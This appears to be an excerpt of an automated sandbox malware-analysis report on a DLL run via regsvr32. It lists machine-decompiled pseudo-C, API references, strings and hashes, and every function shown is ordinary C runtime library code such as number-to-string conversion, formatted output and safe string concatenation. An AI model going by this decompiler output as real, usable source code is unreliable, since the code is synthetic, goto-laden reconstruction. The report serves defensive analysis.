				_v56 = 0;
				if (_v56 == 0) goto 0xf9d356aa;
				_t160 = _a24;
				if ( *((intOrPtr*)(_t160 + 4)) == 0) goto 0xf9d35673;
				E000007FE7FEF9D2E680(_t89, _t160);
				_v48 = _t160 + _a24[1];
				goto 0xf9d3567c;
				_v48 = 0;
				if ( *((char*)(_v48 + 0x10)) == 0) goto 0xf9d356aa;
				if (_a24[2] != 0) goto 0xf9d356b1;
				if (( *_a24 & 0x80000000) != 0) goto 0xf9d356b1;
				goto 0xf9d35966;
				if (( *_a24 & 0x80000000) == 0) goto 0xf9d356d0;
				_v64 = _a16;
				goto 0xf9d356e9;
				_v64 = _a24[2] +  *_a16;
				if (( *_a24 & 0x00000008) == 0) goto 0xf9d35765;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d3575b;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d3575b;
				 *_v64 =  *((intOrPtr*)(_a8 + 0x28));
				_t175 = _v64;
				E000007FE7FEF9D35B30(_t100,  *_t175,  &(_a32[2]));
				 *_v64 = _t175;
				goto 0xf9d35760;
				E000007FE7FEF9D2CF80(_t175);
				goto 0xf9d3595a;
				if (( *_a32 & 0x00000001) == 0) goto 0xf9d35813;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d35809;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d35809;
				_t107 = E000007FE7FEF9D2C410(__ecx, E000007FE7FEF9D3D2C0(1, _v64), _v64,  *((intOrPtr*)(_a8 + 0x28)), _a32[5]);
				if (_a32[5] != 8) goto 0xf9d35807;
				if ( *_v64 == 0) goto 0xf9d35807;
				_t186 = _v64;
				E000007FE7FEF9D35B30(_t107,  *_t186,  &(_a32[2]));
				 *_v64 = _t186;
				goto 0xf9d3580e;
				_t109 = E000007FE7FEF9D2CF80(_t186);
				goto 0xf9d3595a;
				_t187 = _a32;
				if ( *((intOrPtr*)(_t187 + 0x18)) == 0) goto 0xf9d3583c;
				E000007FE7FEF9D2E6A0(_t109, _t187);
				_v40 = _t187 + _a32[6];
				goto 0xf9d35845;
				_v40 = 0;
				if (_v40 != 0) goto 0xf9d358c6;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d358bc;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d358bc;
				_t191 = _a32[5];
				_v32 = _a32[5];
				E000007FE7FEF9D35B30(_t112,  *((intOrPtr*)(_a8 + 0x28)),  &(_a32[2]));
				E000007FE7FEF9D2C410(__ecx, E000007FE7FEF9D3D2C0(1, _v64), _v64, _a32[5], _v32);
				goto 0xf9d358c1;
				E000007FE7FEF9D2CF80(_t191);
				goto 0xf9d3595a;
				if (E000007FE7FEF9D3D2C0(1,  *((intOrPtr*)(_a8 + 0x28))) == 0) goto 0xf9d35955;
				if (E000007FE7FEF9D3D2C0(1, _v64) == 0) goto 0xf9d35955;
				_t193 = _a32;
				if ( *((intOrPtr*)(_t193 + 0x18)) == 0) goto 0xf9d35919;
				E000007FE7FEF9D2E6A0(_t117, _t193);
				_v24 = _t193 + _a32[6];
				goto 0xf9d35922;
				_v24 = 0;
				if (E000007FE7FEF9D3D2F0(_v24) == 0) goto 0xf9d35955;
				_t195 = _a32;
				if (( *_a32 & 0x00000004) == 0) goto 0xf9d3594b;
				_v72 = 2;
				goto 0xf9d35953;
				_v72 = 1;
				goto 0xf9d3595a;
				E000007FE7FEF9D2CF80(_a32);
				E000007FE7FEF9D2CF50(_t195);
				return _v72;
			}

0x7fef9d355f0
0x7fef9d355f5
0x7fef9d355fa
0x7fef9d355ff
0x7fef9d35608
0x7fef9d35610
0x7fef9d3561c
0x7fef9d3561e
0x7fef9d35632
0x7fef9d35637
0x7fef9d35639
0x7fef9d35648
0x7fef9d3564a
0x7fef9d35656
0x7fef9d35658
0x7fef9d3566c
0x7fef9d35671
0x7fef9d35673
0x7fef9d35687
0x7fef9d35695
0x7fef9d356a8
0x7fef9d356ac
0x7fef9d356c2
0x7fef9d356c9
0x7fef9d356ce
0x7fef9d356e4
0x7fef9d356f8
0x7fef9d3570f
0x7fef9d35722
0x7fef9d35732
0x7fef9d35744
0x7fef9d3574c
0x7fef9d35756
0x7fef9d35759
0x7fef9d3575b
0x7fef9d35760
0x7fef9d35774
0x7fef9d3578f
0x7fef9d357a2
0x7fef9d357c1
0x7fef9d357d6
0x7fef9d357e1
0x7fef9d357f2
0x7fef9d357fa
0x7fef9d35804
0x7fef9d35807
0x7fef9d35809
0x7fef9d3580e
0x7fef9d35813
0x7fef9d3581f
0x7fef9d35821
0x7fef9d35835
0x7fef9d3583a
0x7fef9d3583c
0x7fef9d3584b
0x7fef9d35862
0x7fef9d35875
0x7fef9d3587f
0x7fef9d35883
0x7fef9d358a0
0x7fef9d358b5
0x7fef9d358ba
0x7fef9d358bc
0x7fef9d358c1
0x7fef9d358db
0x7fef9d358ee
0x7fef9d358f0
0x7fef9d358fc
0x7fef9d358fe
0x7fef9d35912
0x7fef9d35917
0x7fef9d35919
0x7fef9d3592e
0x7fef9d35930
0x7fef9d3593f
0x7fef9d35941
0x7fef9d35949
0x7fef9d3594b
0x7fef9d35953
0x7fef9d35955
0x7fef9d3595c
0x7fef9d3596a

APIs

_ValidateRead.LIBCMTD ref: 000007FEF9D35708
_ValidateRead.LIBCMTD ref: 000007FEF9D3571B
__AdjustPointer.LIBCMTD ref: 000007FEF9D3574C
_ValidateRead.LIBCMTD ref: 000007FEF9D35788
_ValidateRead.LIBCMTD ref: 000007FEF9D3579B
__AdjustPointer.LIBCMTD ref: 000007FEF9D357FA
_inconsistency.LIBCMTD ref: 000007FEF9D35809
_ValidateRead.LIBCMTD ref: 000007FEF9D3585B
_ValidateRead.LIBCMTD ref: 000007FEF9D3586E
__AdjustPointer.LIBCMTD ref: 000007FEF9D358A0
_inconsistency.LIBCMTD ref: 000007FEF9D358BC
_ValidateRead.LIBCMTD ref: 000007FEF9D358D4
_ValidateRead.LIBCMTD ref: 000007FEF9D358E7
_ValidateExecute.LIBCMTD ref: 000007FEF9D35927
_inconsistency.LIBCMTD ref: 000007FEF9D3575B

Part of subcall function 000007FEF9D2CF80: DecodePointer.KERNEL32 ref: 000007FEF9D2CF8B
Part of subcall function 000007FEF9D2CF80: terminate.LIBCMTD ref: 000007FEF9D2CFA4

_inconsistency.LIBCMTD ref: 000007FEF9D35955

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Validate$Read$Pointer_inconsistency$Adjust$DecodeExecuteterminate
String ID:
API String ID: 801082872-0
Opcode ID: ac6deabe0a05852b742f22a1b4600818fc4e29af537fcfed8c9e1d4fbe1357d9
Instruction ID: 9d611a2ef42a4ce54476322da2bce67ea854ec722e2e267300ecfa65af3b148c
Opcode Fuzzy Hash: ac6deabe0a05852b742f22a1b4600818fc4e29af537fcfed8c9e1d4fbe1357d9
Instruction Fuzzy Hash: 4DA13D32B0CA4682EAA08B16E89077E67E0F7C4B95F208121DACD877B5DF3ED451CB10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D38D00 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 287COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D38DAA
_invalid_parameter.LIBCMTD ref: 000007FEF9D38E49
_invalid_parameter.LIBCMTD ref: 000007FEF9D38F8C
_invalid_parameter.LIBCMTD ref: 000007FEF9D3903D
_invalid_parameter.LIBCMTD ref: 000007FEF9D39205

Strings

sizeInTChars > 0, xrefs: 000007FEF9D38DE5, 000007FEF9D38E42
sizeInTChars > (size_t)(is_neg ? 2 : 1), xrefs: 000007FEF9D38F28, 000007FEF9D38F85
2 <= radix && radix <= 36, xrefs: 000007FEF9D38FD9, 000007FEF9D39036
buf != NULL, xrefs: 000007FEF9D38D46, 000007FEF9D38DA3
$, xrefs: 000007FEF9D38FA5
xtow_s, xrefs: 000007FEF9D38D9C, 000007FEF9D38E3B, 000007FEF9D38F7E, 000007FEF9D3902F, 000007FEF9D391F7
length < sizeInTChars, xrefs: 000007FEF9D391A1, 000007FEF9D391FE
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c, xrefs: 000007FEF9D38D5B, 000007FEF9D38D95, 000007FEF9D38DFA, 000007FEF9D38E34, 000007FEF9D38F3D, 000007FEF9D38F77, 000007FEF9D38FEE, 000007FEF9D39028, 000007FEF9D391B6, 000007FEF9D391F0

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: $$2 <= radix && radix <= 36$buf != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c$length < sizeInTChars$sizeInTChars > (size_t)(is_neg ? 2 : 1)$sizeInTChars > 0$xtow_s
API String ID: 2123368286-1993839260
Opcode ID: f8a5afe18f34840ee0df28905467ae8a93c47803c1f8068a44ba45b34dbb5592
Instruction ID: 19a34de06f4f25a15c822aae2b95ff87e4dec291f3645630fab9b4d6ba707880
Opcode Fuzzy Hash: f8a5afe18f34840ee0df28905467ae8a93c47803c1f8068a44ba45b34dbb5592
Instruction Fuzzy Hash: 4AE11836A1CB86CAE7A09B18E84476EB3E1F784345F604525E6CD83BB8DB7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37030 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 282COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D370DA
_invalid_parameter.LIBCMTD ref: 000007FEF9D37179
_invalid_parameter.LIBCMTD ref: 000007FEF9D372B6
_invalid_parameter.LIBCMTD ref: 000007FEF9D37367
_invalid_parameter.LIBCMTD ref: 000007FEF9D37523

Strings

$, xrefs: 000007FEF9D372CF
sizeInTChars > 0, xrefs: 000007FEF9D37115, 000007FEF9D37172
sizeInTChars > (size_t)(is_neg ? 2 : 1), xrefs: 000007FEF9D37252, 000007FEF9D372AF
2 <= radix && radix <= 36, xrefs: 000007FEF9D37303, 000007FEF9D37360
buf != NULL, xrefs: 000007FEF9D37076, 000007FEF9D370D3
length < sizeInTChars, xrefs: 000007FEF9D374BF, 000007FEF9D3751C
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c, xrefs: 000007FEF9D3708B, 000007FEF9D370C5, 000007FEF9D3712A, 000007FEF9D37164, 000007FEF9D37267, 000007FEF9D372A1, 000007FEF9D37318, 000007FEF9D37352, 000007FEF9D374D4, 000007FEF9D3750E
xtoa_s, xrefs: 000007FEF9D370CC, 000007FEF9D3716B, 000007FEF9D372A8, 000007FEF9D37359, 000007FEF9D37515

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: $$2 <= radix && radix <= 36$buf != NULL$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\xtoa.c$length < sizeInTChars$sizeInTChars > (size_t)(is_neg ? 2 : 1)$sizeInTChars > 0$xtoa_s
API String ID: 2123368286-1853640030
Opcode ID: fd24ae2173ac44ea26de12f4013dd461b82e36f4d48be66e2593e9709099cfaf
Instruction ID: 612b8f3a1e511721bf558c20b5ecc37bcc5fe5373454d887446b2b671354ce2d
Opcode Fuzzy Hash: fd24ae2173ac44ea26de12f4013dd461b82e36f4d48be66e2593e9709099cfaf
Instruction Fuzzy Hash: 2EE13A32A1DB86CAE7A09B59E8447AEB7E1F385344F604125E6CD43BB8DB7ED444CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3E6C6 Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 332
COMMON

Download Yara Rule

C-Code - Quality: 22%

			E000007FE7FEF9D3E6C6(signed int __rax, void* __rdx, long long _a32, void* _a64, void* _a72, intOrPtr _a76, signed int _a80, char _a84, short _a86, intOrPtr _a88, long long _a92, long long _a96, signed char _a104, intOrPtr _a108, signed int _a116, char _a120, char _a687, char _a1200, signed short _a1212, intOrPtr _a1216, intOrPtr _a1220, signed char _a1296, signed int _a1304, signed int _a1312, intOrPtr _a1320, long long _a1328, signed char _a1336, intOrPtr _a1340, intOrPtr _a1344, intOrPtr _a1376, intOrPtr _a1380, signed int _a1480, long long _a1488, long long _a1496, long long _a1504, signed int _a1512, intOrPtr _a1536, char _a1560) {
				signed int _t224;
				signed char _t229;
				void* _t260;
				intOrPtr _t268;
				signed int _t342;
				signed int _t343;
				signed long long _t346;
				intOrPtr* _t365;
				intOrPtr* _t370;
				signed long long _t400;

				_t342 = __rax;
				_a80 = _a80 | 0x00000040;
				_a72 = 0xa;
				_a72 = 0xa;
				_a116 = 0x10;
				asm("bts eax, 0xf");
				_a1220 = 7;
				_a1220 = 0x27;
				_a72 = 0x10;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e74d;
				_a84 = 0x30;
				_a86 = _a1220 + 0x51;
				_a92 = 2;
				_a72 = 8;
				if ((_a80 & 0x00000080) == 0) goto 0xf9d3e770;
				asm("bts eax, 0x9");
				if ((_a80 & 0x00008000) == 0) goto 0xf9d3e797;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t342;
				goto 0xf9d3e844;
				if ((_a80 & 0x00001000) == 0) goto 0xf9d3e7be;
				E000007FE7FEF9D31EA0( &_a1560);
				_a1304 = _t342;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000020) == 0) goto 0xf9d3e809;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e7ef;
				_t343 = E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e807;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e844;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e82d;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				goto 0xf9d3e844;
				E000007FE7FEF9D31E40( &_a1560);
				_a1304 = _t343;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3e87b;
				if (_a1304 >= 0) goto 0xf9d3e87b;
				_a1312 =  ~_a1304;
				asm("bts eax, 0x8");
				goto 0xf9d3e88b;
				_t346 = _a1304;
				_a1312 = _t346;
				if ((_a80 & 0x00008000) != 0) goto 0xf9d3e8c0;
				if ((_a80 & 0x00001000) != 0) goto 0xf9d3e8c0;
				_a1312 = _a1312 & _t346;
				if (_a116 >= 0) goto 0xf9d3e8d1;
				_a116 = 1;
				goto 0xf9d3e8ee;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3e8ee;
				_a116 = 0x200;
				if (_a1312 != 0) goto 0xf9d3e901;
				_a92 = 0;
				_a64 =  &_a687;
				_t224 = _a116;
				_a116 = _a116 - 1;
				if (_t224 > 0) goto 0xf9d3e92f;
				if (_a1312 == 0) goto 0xf9d3e9cc;
				_a1480 = _a72;
				_a1296 = _t224 / _a1480 + 0x30;
				_a1488 = _a72;
				if (_a1296 - 0x39 <= 0) goto 0xf9d3e9ab;
				_t229 = _a1296 + _a1220;
				_a1296 = _t229;
				 *_a64 = _a1296 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3e90e;
				_a104 = _t229;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ea2a;
				if (_a104 == 0) goto 0xf9d3ea0b;
				if ( *_a64 == 0x30) goto 0xf9d3ea2a;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ea9d;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ea61;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ea80;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ea9d;
				_a84 = 0x20;
				_a92 = 1;
				_a1320 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3eadf;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				E000007FE7FEF9D3EF10(_a92, _a64,  &_a84, _a1536,  &_a1200);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3eb33;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3eb33;
				E000007FE7FEF9D3EEC0(0x30, _a1320, _a1536,  &_a1200);
				if (_a76 != 0) goto 0xf9d3ec29;
				if (_a104 <= 0) goto 0xf9d3ec29;
				_t365 = _a64;
				_a1328 = _t365;
				_a1336 = _a104;
				_a1336 = _a1336 - 1;
				if (_a1336 <= 0) goto 0xf9d3ec27;
				_t260 = E000007FE7FEF9D26840(_a1336,  &_a120);
				_a1496 = _t365;
				E000007FE7FEF9D26840(_t260,  &_a120);
				_a1340 = E000007FE7FEF9D3F000( &_a1212, _a1328,  *((intOrPtr*)( *_t365 + 0x10c)), _a1496);
				if (_a1340 > 0) goto 0xf9d3ebe7;
				_a1200 = 0xffffffff;
				goto 0xf9d3ec27;
				E000007FE7FEF9D3EE40(_a1212 & 0x0000ffff, _a1536,  &_a1200);
				_a1328 = _a1328 + _a1340;
				goto 0xf9d3eb61;
				goto 0xf9d3ec47;
				E000007FE7FEF9D3EF10(_a104, _a1328 + _a1340, _a64, _a1536,  &_a1200);
				if (_a1200 < 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3ec7c;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				if (_a96 == 0) goto 0xf9d3ec9c;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3da75;
				if (_a1216 == 0) goto 0xf9d3ecc2;
				if (_a1216 == 7) goto 0xf9d3ecc2;
				_a1504 = 0;
				goto 0xf9d3eccd;
				_a1504 = 1;
				_t268 = _a1504;
				_a1344 = _t268;
				if (_a1344 != 0) goto 0xf9d3ed13;
				_t370 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t370;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t268 != 1) goto 0xf9d3ed13;
				asm("int3");
				if (_a1344 != 0) goto 0xf9d3ed6f;
				0xf9d2ab30();
				 *_t370 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a1376 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3ed8e;
				_a1380 = _a1200;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a1380, 2, 2, _a1512 ^ _t400, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3e6c6
0x7fef9d3e6cd
0x7fef9d3e6d1
0x7fef9d3e6de
0x7fef9d3e6eb
0x7fef9d3e6f7
0x7fef9d3e6ff
0x7fef9d3e70c
0x7fef9d3e717
0x7fef9d3e72a
0x7fef9d3e731
0x7fef9d3e740
0x7fef9d3e745
0x7fef9d3e74f
0x7fef9d3e762
0x7fef9d3e768
0x7fef9d3e77b
0x7fef9d3e785
0x7fef9d3e78a
0x7fef9d3e792
0x7fef9d3e7a2
0x7fef9d3e7ac
0x7fef9d3e7b1
0x7fef9d3e7b9
0x7fef9d3e7c7
0x7fef9d3e7d2
0x7fef9d3e7e1
0x7fef9d3e7e5
0x7fef9d3e7ed
0x7fef9d3e7f7
0x7fef9d3e7ff
0x7fef9d3e807
0x7fef9d3e812
0x7fef9d3e81c
0x7fef9d3e823
0x7fef9d3e82b
0x7fef9d3e835
0x7fef9d3e83c
0x7fef9d3e84d
0x7fef9d3e858
0x7fef9d3e865
0x7fef9d3e871
0x7fef9d3e879
0x7fef9d3e87b
0x7fef9d3e883
0x7fef9d3e896
0x7fef9d3e8a3
0x7fef9d3e8b8
0x7fef9d3e8c5
0x7fef9d3e8c7
0x7fef9d3e8cf
0x7fef9d3e8d8
0x7fef9d3e8e4
0x7fef9d3e8e6
0x7fef9d3e8f7
0x7fef9d3e8f9
0x7fef9d3e909
0x7fef9d3e90e
0x7fef9d3e918
0x7fef9d3e91e
0x7fef9d3e929
0x7fef9d3e934
0x7fef9d3e957
0x7fef9d3e963
0x7fef9d3e990
0x7fef9d3e9a2
0x7fef9d3e9a4
0x7fef9d3e9b8
0x7fef9d3e9c2
0x7fef9d3e9c7
0x7fef9d3e9d9
0x7fef9d3e9e5
0x7fef9d3e9f5
0x7fef9d3e9fc
0x7fef9d3ea09
0x7fef9d3ea13
0x7fef9d3ea1d
0x7fef9d3ea26
0x7fef9d3ea2f
0x7fef9d3ea3e
0x7fef9d3ea4b
0x7fef9d3ea52
0x7fef9d3ea57
0x7fef9d3ea5f
0x7fef9d3ea6a
0x7fef9d3ea71
0x7fef9d3ea76
0x7fef9d3ea7e
0x7fef9d3ea89
0x7fef9d3ea90
0x7fef9d3ea95
0x7fef9d3eaad
0x7fef9d3eabd
0x7fef9d3eada
0x7fef9d3eaf8
0x7fef9d3eb06
0x7fef9d3eb11
0x7fef9d3eb2e
0x7fef9d3eb38
0x7fef9d3eb43
0x7fef9d3eb49
0x7fef9d3eb4e
0x7fef9d3eb5a
0x7fef9d3eb71
0x7fef9d3eb7a
0x7fef9d3eb85
0x7fef9d3eb8a
0x7fef9d3eb97
0x7fef9d3ebc9
0x7fef9d3ebd8
0x7fef9d3ebda
0x7fef9d3ebe5
0x7fef9d3ebff
0x7fef9d3ec1a
0x7fef9d3ec22
0x7fef9d3ec27
0x7fef9d3ec42
0x7fef9d3ec4f
0x7fef9d3ec5a
0x7fef9d3ec77
0x7fef9d3ec82
0x7fef9d3ec8e
0x7fef9d3ec93
0x7fef9d3ec9c
0x7fef9d3eca9
0x7fef9d3ecb3
0x7fef9d3ecb5
0x7fef9d3ecc0
0x7fef9d3ecc2
0x7fef9d3eccd
0x7fef9d3ecd4
0x7fef9d3ece3
0x7fef9d3ece5
0x7fef9d3ecec
0x7fef9d3ecf1
0x7fef9d3ecf4
0x7fef9d3ed06
0x7fef9d3ed0e
0x7fef9d3ed10
0x7fef9d3ed1b
0x7fef9d3ed1d
0x7fef9d3ed22
0x7fef9d3ed28
0x7fef9d3ed31
0x7fef9d3ed4c
0x7fef9d3ed51
0x7fef9d3ed61
0x7fef9d3ed6d
0x7fef9d3ed76
0x7fef9d3ed82
0x7fef9d3eda5

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E785
get_int64_arg.LIBCMTD ref: 000007FEF9D3E7AC

Strings

_woutput_s_l, xrefs: 000007FEF9D3DBD6
("Incorrect format specifier", 0), xrefs: 000007FEF9D3DB7D, 000007FEF9D3DBDD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c, xrefs: 000007FEF9D3DB92, 000007FEF9D3DBCF
9, xrefs: 000007FEF9D3E988

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: ("Incorrect format specifier", 0)$9$_woutput_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\output.c
API String ID: 1967237116-1983305044
Opcode ID: 2a7d659c8e5e6b28fc7c58fcf8e8579ea91b99a8d6af850dbdc893ea63a98b90
Instruction ID: 6542cf9ee6a066de1e86aade3174812d6b56db97d2698e01b13d8cfaf3a7b086
Opcode Fuzzy Hash: 2a7d659c8e5e6b28fc7c58fcf8e8579ea91b99a8d6af850dbdc893ea63a98b90
Instruction Fuzzy Hash: 20F1E872A0DAC58AE7B18B55E8417AFB7E0F784346F200125E6C987AE9EB7DD440CF50

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32D80 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 310COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32E31
_invalid_parameter.LIBCMTD ref: 000007FEF9D32F63
_invalid_parameter.LIBCMTD ref: 000007FEF9D330E4
_invalid_parameter.LIBCMTD ref: 000007FEF9D3327B

Strings

(((_Src))) != NULL, xrefs: 000007FEF9D32EFF, 000007FEF9D32F5C
String is not null terminated, xrefs: 000007FEF9D3304D
Buffer is too small, xrefs: 000007FEF9D331DB
((_Dst)) != NULL && ((_SizeInWords)) > 0, xrefs: 000007FEF9D32DCD, 000007FEF9D32E2A
(L"String is not null terminated" && 0), xrefs: 000007FEF9D33080, 000007FEF9D330DD
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl, xrefs: 000007FEF9D32DE2, 000007FEF9D32E1C, 000007FEF9D32F14, 000007FEF9D32F4E, 000007FEF9D33095, 000007FEF9D330CF, 000007FEF9D3322C, 000007FEF9D33266
wcscat_s, xrefs: 000007FEF9D32E23, 000007FEF9D32F55, 000007FEF9D330D6, 000007FEF9D3326D
(L"Buffer is too small" && 0), xrefs: 000007FEF9D33217, 000007FEF9D33274

Memory Dump Source

Source File: 00000003.00000002.927302319.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.927297170.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927319388.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927327720.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.927337335.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (((_Src))) != NULL$((_Dst)) != NULL && ((_SizeInWords)) > 0$(L"Buffer is too small" && 0)$(L"String is not null terminated" && 0)$Buffer is too small$String is not null terminated$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\tcscat_s.inl$wcscat_s
API String ID: 2123368286-3477667311
Opcode ID: b8fc4c6395d55294f14e808969fd0dde924ec27b835ffc5b45b9a86212572efe
Instruction ID: b03569ffd57b7167c314fdf02ed50a447cb54ce8ebbf145893a20e686b3b9740
Opcode Fuzzy Hash: b8fc4c6395d55294f14e808969fd0dde924ec27b835ffc5b45b9a86212572efe
Instruction Fuzzy Hash: BFF13832A0DB8685EBE08B19E94476EA3E0F385795F604535D6DE83BA8DF7ED044CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D369C0 Relevance: 21.3, APIs: 4, Strings: 8, Instructions: 303COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D36A71
_invalid_parameter.LIBCMTD ref: 000007FEF9D36B9D
_invalid_parameter.LIBCMTD ref: 000007FEF9D36D17
_invalid_parameter.LIBCMTD ref: 000007FEF9D36EA5

Strings

strcat_s, xrefs: 000007FEF9D36A63, 000007FEF9D36B8F, 000007FEF9D36D09, 000007FEF9D36E97
